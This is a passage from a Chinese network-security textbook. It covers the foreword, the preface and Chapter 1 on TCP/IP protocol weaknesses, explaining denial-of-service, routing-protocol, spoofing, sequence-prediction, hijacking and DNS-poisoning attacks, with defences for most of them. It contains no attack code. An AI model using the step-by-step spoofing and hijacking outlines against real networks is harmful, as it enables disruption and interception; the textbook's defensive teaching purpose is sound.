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FOREWORD

随着互联网的普及和网络社会时代的到来，经济、文化、军事和社会活动将会强烈地依赖计算机网络，作为国家重要基础设施的网络的安全和可靠性问题已成为世界各国共同关注的焦点。而互联网的跨国界、无主管性、不设防、缺乏法律约束性，在带来机遇的同时也带来了巨大的风险。

网络安全的各种技术和协议，就是针对这一问题而深入的。多年来，网络安全的研究成果层出不穷，各种各样的工具也不断产生，全面地掌握这一学科，需要阅读大量的文献和长期的实践经验。

本书就是一本旨在概要介绍安全协议、技术及其实施的书籍。作者根据其多年来的网络安全建设经验，介绍了各个安全领域当中的一些重要的研究成果，并对这些成果的应用进行了简要的介绍。本书选材新颖、内容翔实、覆盖面广，既详细论述了网络安全的基础理论，同时又对网络安全的应用技术及研究前沿进行了准确的评价。全书层次结构清晰，行文流畅，篇、章相对独立，阅读容易。因此，相信本书会对网络安全研究和从业人员发挥应有的作用。

李星
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PREFACE

目前所运用的TCP/IP协议在设计时，安全并不是主要的考虑点。随着攻击技术的不断发展，各种各样利用网络底层协议本身的安全脆弱性进行攻击的手段层出不穷，而且其中很多是无法从根本上避免的。由于所有的应用协议都架设在TCP/IP协议之上，TCP/IP协议本身的安全问题，将极大地影响上层应用的安全。

网络的普及和应用，还是近十年的事情，而操作系统的产生要远早于此。在互联网络广泛应用之前的操作系统，主要面向个人用户或者是同一个组织里的用户，这与互联网络广泛应用之后的情况是完全不同的。很多操作系统缺省安装时存在大量的服务和缺省用户账号，即是明证。

随着整个社会的电子化进程的加速，这些网络安全风险正在成为实际应用中的问题，为了解决这些问题，网络安全技术不断地更新换代，各种新技术、新思路层出不穷。本书根据实际的需求，介绍其中一些相关技术，并通过使用开源软件，构建实际的安全系统。本书的第一章介绍计算机网络的安全风险。这部分介绍的缺陷包括：TCP/IP协议缺陷、软件实现缺陷和用户使用缺陷等。读者可以通过这个章节对计算机网络的安全问题有系统化的理解。这不但是网络安全初学者的一个较合适的入门，而且对网络安全的研究者也有一定的参考价值。本书的第二章侧重于介绍一些关于密码学的基础知识，这些密码学的常识是每个网络安全的从业者都应当了解的。在第三章中，我们介绍了在构建安全协议方面的几个有代表性的例子，从而让读者对于协议层安全防护有一个大概的认识。第四章介绍了两种主要操作系统，Windows 2000和UNIX/Linux的安全防护方法以及相应的常用安全工具，这部分内容对系统管理员有很好的参考价值。第五章介绍网络安全管理政策、网络安全风险评估以及网络设备的访问权限控制，这部分内容对网络管理员将有很大帮助。第六章的主要内容是入侵检测和响应，包括入侵检测系统的概念、技术和评估、入侵检测系统的发展前景、紧急响应的常用工具和方法。和其他安全技术相比，入侵检测系统是一个较新的技术。入侵检测系统既有很强的理论研究意义，又有很好的应用价值，是研究和开发网络安全产品的一个重点。如果防护和黑客的关系是“防护在明，黑客在暗”，那么检测和黑客的关系就是“黑客在明，检测在暗”。响应和恢复是发生安全攻击后的操作，只有进行了有效的恢复，才能保证系统不会被屡次破坏。第七章介绍几个著名的开源软件的使用和配置。通过这些软件的安装和配置，一个简单的安全系统就可以构建出来。本书的最后一章讨论网络安全的未来。这部分主要根据作者在网络安全领域的研究和工作过程中所掌握的知识和经验，对网络安全的未来提出一些思考和建议。

承蒙清华大学电子工程系李星教授作序，特此致谢！

作者



第1章 因特网风险分析


CHAPTER 1


1.1 TCP/IP协议的安全问题


TCP/IP是目前因特网使用的协议，它之所以有今天这个辉煌的地位，是因为它在设计原则上所体现出众多优点，例如简单、易扩展、尽力而为等。这些原则给使用TCP/IP协议的用户带来非常方便的互联环境，使得因特网的用户以极快的速度迅速增加。但是，正是在这些优点的背后，TCP/IP协议也存在着一系列的安全缺陷。而这些缺陷，是所有 TCP/IP的实现所共有的，以下我们将简要介绍这些安全隐患。


1.1.1 TCP/IP概述


1.TCP/IP基本结构

TCP/IP是一组Internet的协议，除了TCP和IP两个关键协议外，它还包括其他协议如UDP、ARP、ICMP、Telnet和FTP等。TCP/IP的设计目标是将不同的网络进行互相连接，即实现因特网。为了达到这个目标，TCP/IP被设计成四层结构，从上到下分别为：应用层、传输层、网络层和物理链路层，如图1.1所示。


图1.1 TCP/IP基本逻辑结构



图中是TCP/IP协议层的逻辑结构。任何一台计算机想在因特网上与其他计算机通信，必须有这样的逻辑结构。每一层可以有一个或多个模块，每个模块实现一定的数据处理功能。应用程序如Telnet和FTP运行在应用层。传输层给应用层提供端对端的数据传输，传输层有两种协议：TCP和UDP。网络层实现包转发功能，是网络之间互联的关键技术，网络层的协议为IP协议。物理链路层包括网络物理线路，网络驱动和一些协议如ARP协议。目前最常见的物理网络是以太网，ENET模块是以太网的网络驱动。IP模块下面的小圆圈是IP地址，ENET模块下面的小圆圈表示MAC地址。IPv4的地址是32bit，目前正在推出IPv6，其地址为128bit。

TCP/IP层次结构有两个重要原则：（1）在同一端点，每一层只和邻接层打交道，例如应用程序根本不关心网络层是怎么转发包以及数据在哪些网络上传输；（2）不同端点之间的同一层有对等关系。对等层之间可以进行通信，如应用程序之间的通信、TCP模块之间的通信等。

2.TCP/IP通信模型

通信模型是TCP/IP最基本的模型之一，它描述了端和端之间如何传输数据。在图1.1中，各层模块之间的连线表示数据流的路线。在发送端，数据从上层传到下层。对于使用TCP协议的程序，数据从应用程序流过TCP模块。对于使用UDP协议的程序，数据从应用程序流过UDP模块。数据单元每经过一个模块都被加上头信息标识该单元从哪来。在TCP和IP模块之间的数据单元叫做TCP包。在UDP和IP模块之间的数据单元叫做UDP包。在IP和ENET模块之间的数据单元叫做IP包。出了ENET模块，传输在电缆上的数据单元是以太网帧。

在接收端，数据从下层传到上层。每经过一个模块，数据单元都根据相应头信息的内容而被送到相应的模块，并且把相应的头信息去掉。在ENET模块，根据以太网帧中的协议项，决定数据被送到IP模块还是ARP模块。在IP模块，根据IP头信息中的协议项，决定数据被送到TCP还是UDP模块。在TCP和UDP模块，根据TCP和UDP头信息中的端口项，决定数据被送到哪个应用程序。

TCP/IP提供两个主要的传输协议：TCP和UDP协议。TCP协议是一个面向连接的协议。它通过发送和确认机制，保证数据无错误传输。UDP协议是无连接的，它只管发送和接收所有的包，不保证数据是否到达。使用TCP协议还是UDP协议由应用程序决定。例如FTP使用TCP协议，SNMP使用UDP协议。

ARP协议是地址转换协议，它把对方的IP地址转换成MAC地址，提供给网络驱动。因为以太网的帧能传到目的地是根据MAC地址的。这里有两种可能，如果目的地IP地址是本网络的，那么数据被直接发送到目的地去，即目的地的 MAC 地址是目的地的。另外，如果目的地IP地址不是本网络的IP地址，那么数据被发送到网关去，即目的地的 MAC地址写的是网关的MAC地址。

3.TCP/IP网络互联模型

TCP/IP的另一个主要功能是不同网络之间的互联。网络互联功能在网络层实现，即一个IP模块连接到两个不同的物理链路层可以实现该两个网络之间的互联如图1.2所示。


图1.2 一个IP模块连接两个网络



图1.2是一个具有两个网卡分别连接到两个网络的网络层和物理链路路层结构。这样的结构可以实现包转发功能，即可以把来自一个网络来的包转发到另外一个网络去，网关和路由器都有这个功能。每个网络都有自己的网络驱动和ARP模块以及两个MAC地址，对应着两个IP地址。在IP模块，根据数据单元所标的目的地的IP地址，决定把数据送到哪个网络去。如图中两个网络的情况下，以太网1的数据可以传到以太网 2，反之亦然。这就实现了简单的网关功能。如果一个IP模块连接三个网络的情况下，来自一个网络的数据可以选择被送到其余的某个网络去，这就是路由选择功能。通过网关的数据转发和路由选择功能，就实现了不同网络的互联。


1.1.2 拒绝服务攻击


拒绝服务（Denial of Service，DOS）攻击就是消耗目标主机或者网络的资源，从而干扰或者瘫痪其为合法用户提供的服务。目前DOS攻击可以分为三类：网络带宽耗尽型、系统资源耗尽型以及处理缺陷型。带宽耗尽型主要是堵塞目标网络的出口，导致带宽消耗不能提供正常的上网服务。例如常见的Smurf攻击、UDP Flood攻击、MStream Flood攻击等。针对此类攻击一般采取的措施就是 QoS，在路由器或防火墙上针对此类数据流限制流量，从而保证正常带宽的使用，单纯带宽耗尽型攻击较易被识别，并被丢弃。资源耗尽型是攻击者通过严重消耗目的服务器关键处理资源，例如 CPU、内存等，导致目的服务器无法提供正常服务。例如常见的SynFlood攻击、Naptha攻击等。以上两种攻击，都是利用系统对正常网络协议处理出现的问题，即使服务器或者网络都没有实现的问题，仍然可能会遭到攻击。而对于由于处理缺陷型的拒绝服务攻击，通常是由于系统在实现的过程中，引入了一些不必要的缺陷（bug），从而导致当攻击者使用某些异常流量时，系统会无法继续提供服务，这不在本部分讨论。

近年来，随着大规模攻击技术的发展，形成了一些分布式拒绝服务攻击（Distributed Denial of Service，DDOS）方法，它们利用多台计算机，采用了分布式对单个或者多个目标同时发起DOS攻击。DDOS攻击为增加攻击威力，采用了许多新攻击技术，如伪造数据、消除攻击包特征、综合利用协议缺陷和系统处理缺陷、使用多种攻击包混合攻击、采用攻击包预产生法等来提高攻击的有效性。这种攻击通常会更难防治。

以下我们将简要介绍几种常见的由于TCP/IP协议问题造成的安全风险。

1.SYNFlood攻击

最经典的攻击是synflood攻击，它利用TCP/IP协议的漏洞完成攻击。通常一次TCP连接的建立包括3个步骤，客户端发送SYN包给服务器端，服务器分配一定的资源给这个连接并返回SYN/ACK包，并等待连接建立的最后的ACK包，最后客户端发送ACK报文，这样两者之间的连接建立起来，并可以通过连接传送数据了。而攻击的过程就是疯狂发送 SYN报文，而不返回 ACK 报文，服务器占用过多资源，而导致系统资源占用过多，没有能力响应别的操作，或者不能响应正常的网络请求。

这个攻击是经典的以小搏大的攻击，自己使用少量资源占用对方大量资源。一台 P4 的Linux系统大约能发30～40Mbit/s的64字节的synflood报文，而一台普通的服务器20Mbit/s的流量就基本没有任何响应了（包括鼠标、键盘）。而且synflood不仅可以远程进行，还可以伪造源IP地址，给追查造成很大困难，要查找必须对所有骨干网络运营商的路由器一级一级地向上查找。

针对Synflood攻击，常见的解决方法有路由器限速以及SynCookie。路由器限速就是限制SYN包的到达速度；SynCookie 方法则是在建立 TCP连接时，要求客户端响应一个数字回执，来证明自己的真实性，从而解决了目标计算机系统的半开连接队列的有限资源问题。

2.Naptha

由于对于每个建立的TCP连接，系统都要耗费相对较多的资源，因此如果同服务器建立大量的TCP连接，服务器则会由于资源耗尽而无法响应其他的用户。这一想法的问题在于，如果使用通常的API，在服务器无法响应之前，攻击者就已经崩溃了。因此，Naptha不使用传统的网络API来设置TCP连接，不像真实的TCP/IP堆栈那样，它不保存任何连接状态的记录，它只根据发给它的报文中的某些标志来进行响应。按照这种方法，它可以与目标主机建立成千上万的连接，而与目标主机相比，攻击者只使用了很少的资源。使用这种方法，它可以对目标主机上的某个特定服务或TCP/IP堆栈自身造成真正的威胁。Naptha 攻击可以通过分布式的方式来实现，因此使其变得更为有效。

攻击的第一步要从一个伪造IP地址的所有可能端口向目标主机发送一系列的SYN报文。然后需要在伪造IP所在的局域网中运行一个程序，确保路由器的ARP表中有这台“虚拟主机”（就是伪造的IP地址）。接下来，它会监听从目标主机发往虚拟主机的报文。这个程序会使用合适的标志以及序列号来响应那些报文从而建立连接。使用虚拟主机主要是为了让跟踪攻击来源更为困难。

总之，Naptha攻击表明了资源耗尽攻击的严重性。针对这个问题，还没有一个显而易见的解决方法。

3.流量放大器

流量放大器经常被用于实施分布式拒绝服务攻击。所谓的流量放大器，就是说当攻击者输入流量会经过这一系统的处理而放大几倍，这样如果攻击者发送大量的源地址被修改为要攻击的系统的流量到这些放大器时，就会出现大量的流量到目的系统，从而导致拒绝服务攻击。

Smurf攻击是以最初发动这种攻击的程序名Smurf来命名的。这种攻击方法结合使用了IP欺骗和ICMP回复方法使大量网络数据包充斥目标系统，引起目标系统拒绝为正常系统进行服务。攻击者向一个具有大量主机和因特网连接的网络的广播地址发送一个欺骗性Ping分组（echo请求），这个目标网络被称为反射站点，而欺骗性Ping分组的源地址就是被攻击的系统。如果路由器接收到这个发送给IP广播地址（如202.112.0.255）的分组后，将它映射为以太网广播地址 FF:FF:FF:FF:FF:FF，就会对本地网段中的所有主机进行广播。而所有的ECHO包则会被转给被攻击系统，当攻击者使用大量的反射网络的时候，就会导致被攻击系统由于缺少可用的网络带宽而丧失服务能力。

另外一个常见的手段就是利用DNS服务器的DNS查询。攻击者向多个DNS服务器发送大量的查询请求，这些查询请求数据包中的源IP地址为被攻击主机的IP地址，DNS服务器将大量的查询结果发送给被攻击主机，使被攻击主机所在的网络拥塞或不再对外提供服务。

对于这些攻击来说，基于路由器的ACL和限流是比较有效的防范措施。此外，对于Smurf攻击，可以配置路由器不转发来自外网的针对广播地址的数据包。

4.OSPF的攻击

OSPF（Open Shortest Path First）是使用于自治域内部的另一种路由协议。OSPF使用的路由算法是状态连接（Link - State）算法。在该算法中，每个路由器给相邻路由器宣布的信息是一个完整的路由状态，包括可到达的路由器、连接类型和其他相关信息。和RIP相比，OSPF协议中已经实施认证过程。但是该协议还存在着一些安全的问题。

LSA（Link State Advertisement）是OSPF协议中路由器之间要交换的信息。一个LSA头格式如图1.3所示。


图1.3 LSA头格式



LS序列号为32bit，用来指示该LSA的更新程度。LS序列号是一个有符号整型数，大小介于0x80000001（负值）和0x7fffffff之间。较大的LSA序列号表示该LSA已经被更新。值得注意的是，任何一个路由器都可以更改这个 LSA 的头信息。一个攻击者收到一个 LSA之后，可以把LS序列号加1（Seq++攻击），它只要重新计算 LS校验和保证该 LSA有效，然后把这个LSA再次散发给其他路由器，其他路由器收到该LSA发现LS序列号已经加1，这意味着LSA已经被更新，它就更新自己的路由状态，并继续散发该LSA，一直到该LSA的创建者收到这个LSA，发现LSA的内容不对头，它就重新发出一个新的LSA给其他路由器。如果攻击者不停地修改收到的LSA的序列号，那么造成的结果是整个网络运行不稳定。

除了把序列号加1，攻击者还可以把序列号改成最大值，即0x7fffffff（MaxSeq攻击）。当然，每次修改LSA，攻击者都要重新计算校验和以保证LSA是有效的。当该LSA到达自己的创建者，它就被重新设置并再次传播。如果攻击者不停地修改收到的LSA的序列号，同样也会造成整个网络运行不稳定。

OSPF的第三种攻击方法就是MaxAge攻击。当攻击者收到一个LSA，它把该LSA的age项设成最大值（一般是3600），然后传给其他路由器。其他路由器收到该LSA以后，就把该LSA在自己路由状态中的信息清除。当该LSA的创建者收到它以后，该LSA再次被重新设置，并再次传播。和上面的攻击一样，这种攻击也会造成整个网络运行不稳定。

5.BGP缺陷

BGP（Border Gateway Protocol）是自治域（AS）的核心路由器之间的路由信息交换协议。和TCP/IP协议一样，BGP也包含着多种安全隐患，如IP欺骗、窃听、SYN攻击等。任何一个实体可以在一个BGP的连接中加入信息或者中断这个连接。再加上IP欺骗的攻击技术，一个实体可以远程重置世界上任何BGP路由器。

BGP之所以隐含着这么多安全问题是因为，它没有一个保护 BGP连接消息的完整性、有效性和身份认证的机制。另外，没有一个确认NLRI（Network Layer Reachability Information）和AS_PATH项的有效性。

BGP有四种消息类型：OPEN、KEEPALIVE、NOTIFICATION和UPDATE。任何一个实体都可以伪造OPEN、KEEPALIVE和NOTIFICATION消息去破坏一个BGP的连接。它还可以伪造UPDATE消息中的ATOMIC_AGGREGATE、AS_PATH或者NLRI项去破坏路由功能。在运行BGP协议的路由器出现问题后，所引起的后果将是灾难性的，这有可能会导致整个ISP 网络无法访问，因此，这样的安全攻击更为严重。幸运的是，通常大多数核心路由器都已经做了严格的访问权限控制，入侵者能够直接攻击核心路由器的可能性并不是很大。

目前已经有一些针对BGP的安全扩展，例如对BGP报文加入完整性校验选项，从而避免这种风险，不过，大多数的ISP还是更喜欢用访问权限控制来解决这个问题，因为这样带来的影响要小得多。


1.1.3 监听（Sniff）、假冒（Spoof）和劫持（Hijack）


我们知道，IP数据包一般是明文传输，而且也没有对来源的验证。这两个问题，就成了TCP/IP网络中最严重的安全隐患之一。内容不进行加密，使得在广播型的局域网络中，数据很容易被窃听。例如，在以太网中，只要将网卡设置为混杂模式，就可以监听到所有的数据包。通过对这些数据包的分析，攻击者可能从中取得必要的认证信息或重要的内容，例如，应用协议如Telnet、FTP、POP3等密码都是明文传输，如果这些密码在网上传输的时候被攻击者监听到，就会造成很大的安全隐患。或者，数据中含有个人敏感信息、商业机密等，如果被监听也会造成重大的损失。即使监听看不到数据的具体内容，也可以从中分析出哪些主机开了哪些服务，哪些主机和哪些主机之间进行了通信，从而可以分析出主机之间的信任关系。这些信息都会造成安全问题。

缺乏源认证是另外一个重要的问题。攻击者可以伪装成其他用户，从而取得不应有的特权，例如，攻击者通过伪造其他IP地址进行流量盗用。此外，如果攻击者使用其他IP地址进行恶意攻击，可以有效地隐藏自己的来源，同时给被假冒者名誉、性能等众多方面造成损害。伪造ARP就是一种常见的IP地址假冒方法，它的主要原理是，以被假冒主机的IP地址和本机的以太网地址为源地址发ARP包，这样即可造成IP地址的假冒。使用IP包头中的源路由选项是进行IP地址假冒的另外一种方法，通过指定IP包的源路由选项，一个IP包可以按照预先指定的路由到达目的主机，因为在一般情况下，一端使用源路由选项常常表示这一端有充足理由（如拥塞避免、故障路由的回避，以及效率方面的考虑）认定源路由有更好的表现，那么，很有可能目的主机使用该源路由的逆向路由与源主机通信，这样就实现了源IP的假冒。

攻击者甚至可以劫持一个连接，而让自己成为其中的中介。这也就是说，攻击者在某种意义上就像两个会话主体的中间人一样，进行互相转发。攻击者可以在其中增加、删除一些会话内容，而会话的双方对此完全不知情。这样的话，双方的通信就毫无安全可言了。一般而言，只要攻击者能够成功地假冒为其中一方，就能够进行会话的劫持。

综合利用其他一些协议的安全问题，即使在非广播的局域网或者广域网中，这种监听、假冒、劫持的风险仍然存在。

1.TCP序列号预测

TCP序列号预计由莫里斯首次提出，是网络安全领域中最有名的缺陷之一。这种攻击的实质，是在不能接到目的主机应答确认包时通过预计序列号来建立连接。这样，入侵者可以伪装成信任主机与目的主机通话。

正常的TCP连接建立过程是一个三次握手的过程，客户方取一初始序列号ISNC
 并发出第一个SYN 包，服务方确认这一包并设自己一方的初始序列号为 ISNS
 ，客户方确认后这一连接即建立。一旦连接建立成功，客户方和服务方之间可以开始传输数据。连接建立过程可以被描述如下：

TCP连接建立过程

客户方→服务方：SYN（ISNC
 ）

服务方→客户方：ACK（ISNC
 ），SYN（ISNS
 ）

客户方→服务方：ACK（ISNS
 ）

客户方→服务方：数据

和/或者

服务方→客户方：数据

由此可见，在连接建立的过程中，客户方必须收到来自服务方的初始序列号ISNS
 ，在接收到ISNS
 之前，对客户方来说它是一个随机数。

假设，入侵者通过某种方法得到了服务方的初始序列号ISNS
 ，那么，它有可能冒充为另一个信任主机对目的主机发信息。这个过程如下：

攻击者→服务方：SYN（ISNX
 ），SRC=被冒充的主机

服务方→被冒充的主机：ACK（ISNX
 ），SYN（ISNS
 ）

攻击者→服务方：ACK（ISNS
 ），SRC=被冒充的主机

攻击者→服务方：ACK（ISNS
 ），SRC=被冒充的主机，数据

（其中，ISNX
 是来自攻击者的初始序列号）

由此可见，攻击者可以向服务方发送任意数据。如果此连接允许远程执行命令（例如rsh），那么攻击者可以在服务方执行任何操作。

在这种入侵方法中，ISNS
 的预测是一个核心问题，所以这种缺陷依赖于TCP序列号的可预测性。ISNS
 是由操作系统所实现的TCP/IP模块产生的。对于不同操作系统，TCP/IP模块的实现也不同，所以ISNS
 产生的机制也有所不同。在老的 Berkeley系统中，初始序列数变量每隔一秒都被增加一个固定值，连接被初始化以后，这个固定值减一半。因此，如果攻击者向服务方建立一个正常的连接并根据观察到来自服务方的初始序列号ISNS
 ，他就能够比较准确地预测出在任意时刻该服务方上的初始序列数变量的值，也就是说可以预测出 ISNS
 。TCP序列号攻击的另一个变种就是利用netstat服务。如果目标主机上运行netstat服务，它会提供该主机上其他端口的TCP序列号的信息。在这种情况，攻击者不用预测而直接得到ISNS
 。目前的一些新的操作系统，ISN的产生也并不是完全随机的，例如，一些操作系统所产生的值是递增的，还有一些操作系统所产生的值，虽然表面上看是随机的，但是仔细分析可能会发现它们的分布并不是均匀分布，而是可能会有一些像吸引子（Strange Attractor）之类的东西。

实际上，在以上的传输过程中，从服务方发送到被冒充的主机。

服务方→被冒充的主机：ACK（ISNX
 ），SYN（ISNS
 ）

有可能会被被冒充的那个主机收到，这时候它会发现这是一个不存在的连接，它就发送一个RST包阻止连接的建立。为了克服这个问题，攻击者可以向被冒充的主机发送大量SYN包（SYN-Flood攻击），利用TCP将抛弃多于5个连续的SYN包这一点，对被冒充的主机进行拒绝服务类型的攻击，防止它阻止攻击连接的建立。攻击者的另一个选择就是等待被冒充的主机关闭或重启的时候进行攻击。

2.RIP攻击

RIP （Routing Information Protocol）是用于自治域（Autonomous System，AS）内部的一种内部路由协议（Internal Gateway Protocol，IGP）。RIP用在自治域内部的路由器之间交换路由信息。RIP使用的路由算法是距离向量算法（Vector-Distance）。该算法的主要思想就是每个路由器给相邻路由器宣布可以通过它达到的路由器及其距离。值得注意的是，在 RIPv1中，没有规定认证机制，在RIPv2中才增加了认证机制的设置。如果接收方不对来源进行认证而盲目接收处理这些信息，一个入侵者有可能发出伪造的路由信息，给目的主机以及沿途的各网关。这样，如果入侵者宣布经过自己的一条通向目的主机的路由，将导致所有发往目的主机的数据包发往入侵者。从而可以冒充是目的主机，也可以监听所有目的主机的数据包，甚至在数据流中插入任意的包。

3.源路由选项的使用

在IP包头中的源路由选项用于该IP包的路由情况，这样，一个IP包可以按照预选指定的路由到达目的主机，现在，假设目的主机使用该源路由的逆向路由与源主机通信，这样的处理是相当合乎情理的，因为在一般情况下，一端使用源路由选项常常表示这一端有充足理由（如拥塞避免、故障路由的回避，以及效率方面的考虑）认定源路由有更好的表现。

但这样也给入侵者创造了良机，当一个入侵者预先知道某一主机有一信任主机时，即可利用源路由选项伪装成受信主机，从而攻击系统，这相当于使主机可能遭到来自所有其他主机的攻击。

解决方法：这种攻击很难避免，在网关上禁止源路由的包通过是一种简单的防治方法，但这种方法对于来自同一子网内机器的攻击束手无策，而且这种方法完全禁止了源路由选项，未免不尽情理，理论上可以让每一主机得知路由状况以智能判断源路由选项是否合法，然而，这在实际中是不可能做到的。也许最好的防治方法是完全避免基于IP地址的认证方式，即R协议、X协议等。对于Cisco路由器，可以使用命令：no ip source-route.来避免这一攻击。

4.ICMP重定向

ICMP的重定向消息，用于网关向主机建议另一条路由。因此，这一消息可受到类似RIP的攻击。但相比较而言，ICMP重定向消息的限制要多一些。例如，ICMP只能在当目的主机发出数据包后才能被动发出，它不能用于随时改变目的主机的路由表。ICMP重定向信息一般也只是第一个驿站（网关）才可以发出。以后的网关中既不能发改变源机的路由，也不可以改变以前网关的路由表。

现在假设入侵者已进入目的主机网络中的备用网关，首先，入侵者伪装为另一主机T向目的主机发出连接请求，目的主机确认连接时，入侵者将发出一个假的ICMP包，以主要网关的身份指出去主机T须由入侵者中转。这样，入侵者可以对这一连接的数据流进行监听或任意修改。如果目的主机收到ICMP重定向消息后不只对这一连接的路由表做修改，而且对全局的路由表做修改，那么所影响的将是整个目的主机网络。

解决方法：既然ICMP重定向消息只用于局域网中有多个网关的情形，而且只能是由局域网网关才能发出，因此，在绝大多数情形中，简单地忽略这一消息并不会带来很大麻烦。对于确有必要的场合，仔细地认证是保证ICMP重定向消息安全性的有力武器。收到 ICMP重定向信息后只对该连接的路由进行修改是一种可以普及的较为审慎的处理方法。对于Cisco路由器，可以使用no ip redirect来避免这一攻击。

5.DNS安全问题

DNS服务提供了解析域名等多种服务。它存在着多种安全隐患。

首先，一个入侵者可以进行域名的假冒性攻击。对于R类（Rlogin、Rexec）服务，当入侵者发起连接时，目的主机首先检查信任主机名或地址列表。如果这其中有一项为域名，则目的主机将可能利用DNS服务器解析域名。假设入侵者在此时假冒为域名服务器给一个回答，则可以使目的主机认为入侵者即是信任主机，对于这类攻击，UDP源端口号和DNS序号应当设法知道，DNS序号一般初始为0，而UDP源端口号则可以用netstat服务或一些UDP端口扫描等工具获得。如果入侵者可以伪装为域名服务器应答，那样的话使入侵者就可以监听所有的连接。

域名欺骗也是一个常见的安全问题。域名欺骗的方式有多种多样，DNS毒化就是其中一种。它利用控制DNS缓存服务器，把原本准备访问某网站的用户在不知不觉中带到攻击者指向的其他网站上，其实现方式可以通过利用网民ISP端的DNS缓存服务器的漏洞进行攻击或控制，从而改变该ISP内的用户访问域名的响应结果。或者攻击者通过利用用户权威域名服务器上的漏洞，如当用户权威域名服务器同时可以被当作缓存服务器使用，攻击者可以实现缓存投毒，将错误的域名记录存入缓存中，从而使所有使用该缓存服务器的用户得到错误的DNS解析结果。

对于这些攻击，采用DNSSEC是一个可行的方法。


1.1.4 TCP/UDP应用层服务的安全问题


1.Finger的信息暴露

在所有有暴露信息危险的服务中，Finger又是最危险的。这是因为：

（1）Finger没有任何认证机制。任何人都可利用Finger来获得目的主机的有关信息。

（2）Finger 所提供的住处包括用户名，用户来自于何处等信息，这些信息可以用于口令的猜测攻击，以及信任主机被假冒的攻击，具有很大的潜在危险。

（3）Finger没有认证，这使得无法辨别一个主机是否在基于“正当的”目的使用Finger，这使得主机即使被攻击，也无法辨明Finger在其中起了多大作用。

解决方法，关掉Finger服务，如果有充分理由打开Finger服务的话，不妨将Finger设为：/bin/cat/etc/something。

2.FTP的信息暴露

FTP协议本身并无安全问题，但几乎所有的实现都有如下问题：

（1）FTP一般用户的口令与登录口令相同，而且采用明文传输，就增加了一个网点被攻破的危险。只要在局域网内或路由上进行监听，就可获取大量口令。这样，一个网点会很容易被攻击。

（2）一些网点上的匿名FTP提供了另一攻击途径。尤其是可以上载的FTP服务，更为危险，这常常会使入侵者放置、散播特洛伊木马的工作变得更轻易。入侵者可以放一个已改动过的、带有恶意代码的软件。当另一个主机上的用户下载安装软件时，后门即可建立。匿名FTP还有一个危险即可能暴露账号和口令信息。由于匿名 FTP 也无法记录，使得基于 FTP的攻击更为隐蔽。

解决方法：已经开始有网点尝试使用一次性口令。这使得基于（1）的攻击变得困难。当然，采用加密技术也是一个好办法。

对于服务器来说，基于（2）的攻击是难以预防的。也许可以要求每一上载软件都必须提供上载人的认证信息（如E-mail 地址）并进行确认，但这种方法显然不方便。另外，各软件生产者都应在所生产的软件中含数据签名，也是一个办法。最后，安装软件者必须充分注意并了解所装软件，也可以预防此类攻击。

3.Telnet的安全问题

Telnet本身也并没有安全问题。它的安全隐患类似FTP的（1）。只不过要更严重一些。由于Telnet是用明文传输的，因此不仅是用户口令，而且用户的所有操作及其回答都将是透明的。这样，Telnet被监听后，影响范围更大，程度更严重。Telnet的另一个问题是它有可能被入侵者加入任意可能的数据包。

解决方法：在必须开放Telnet的服务器上加入地址认证可以解决一部分问题。更好的办法是采用加密技术。尽量使用户本地工作也是一个好的作风。

4.POP3的安全问题

由于POP3的口令与账号的口令相同，在此它存在着类似FTP（1）的问题，解决方法也是类似的。

5.TFTP/BOOTP的安全问题

TFTP 允许不经认证即能读主机的那些被设置成所有人可读的文件。这将使系统可能暴露账号、工作目录等重要信息。一些 TFTP允许不经认证上载文件到所有人可写的目录，这将使这一服务更为危险。

BOOTP协议允许无盘工作站从网上启动。如果入侵者伪装或BOOTP服务器，那么无盘工作站就会运行一个被改动过的内核。这将产生不可预料的后果。如果BOOTP使用 RARP取得 IP 地址，将使这一服务更加脆弱。因为以太网是不提供任何安全保障的。跨网段的BOOTP将更危险。

解决方法：因为TFTP正常情况下应用很少，所以简单地禁止它是最安全的。不然，最好使TFTP服务进程有一受限的环境。对于BOOTP服务，认证应当是一种简便的解决方法。另外，谨慎地对待无盘机的启动也是必须的。

6.DHCP协议的安全问题

DHCP服务为客户端指定IP地址、掩码以及DNS服务器等方面的信息。可想而知，在没有任何验证的情况下，攻击者可以指定客户端的DNS服务器为自己所控制的一台服务器，这样所有关于DNS假冒的攻击就都可以实施了。

通常说来，使用自己指定的DNS服务器会安全得多。

7.RPC、Ruserd、Rstatd安全问题

RPC，即远程过程调用，是Sun公司提出并被广泛应用的分布式运算协议，这一协议的所有实现中，几乎都默认有Ruserd和Rstatd服务。Ruserd用于列出系统上的所有活动用户，而Rstatd用于报告当前系统的一些运行情况，由于这两个服务都没有认证需要，因此它们可能会暴露一些系统的安全信息。

解决方法：Ruserd服务类似Finger服务，因此一般来说，这一服务并无必要存在，Rstatd一般也无必要打开。

8.Rlogin、Rexec等服务的安全问题

Rlogin、Rexec的安全隐患已在前述各节有所论述，它们的主要问题是：

（1）信息暴露，类似Telnet的安全问题。

（2）信任主机被冒充，包括IP地址冒充和主机名冒充两种情况，具体细节请参考以上各节。Rlogin、Rexec服务比Telnet来说没有增加新的内容，虽然略为方便，但却使系统存在着严重的安全隐患，使系统不易管理和控制，因此，建议可取消这两个服务。

9.X协议的安全问题

X 协议是用于图形界面描述和显示的基于TCP的协议，X 使图形界面的异地显示成为可能，从而大大方便了UNIX的使用。

X协议的安全问题主要在于，X是基于信任主机方式工作的，目前几乎所有的实现中，X 事件的取得资格一般依赖于IP地址，这样，所有的IP冒充都可以用于攻击X服务。

X事件的读取主要对系统的安全造成如下威胁。

（1）可以得到X服务器主机上键盘的所有输入。

（2）可以得到X服务器主机上的所有图形界面的情况。

（3）可以控制X服务器主机上的所有以图形界面运行的程序。

由此可见，X协议对于系统的安全性有很大的威胁。

解决方法，采用基于用户的X协议权限限制可以减少这类攻击，但并不能根本杜绝这类攻击，更好的办法应是采用加密技术。


1.2 软件实现缺陷


我们在这里指的软件是运行在计算机和设备上的程序。操作系统就是一种软件，而应用软件是通常在操作系统上运行。软件实现缺陷是由程序员在编程的时候没有考虑周全而造成的。软件缺陷一般可以分为以下几种类型：

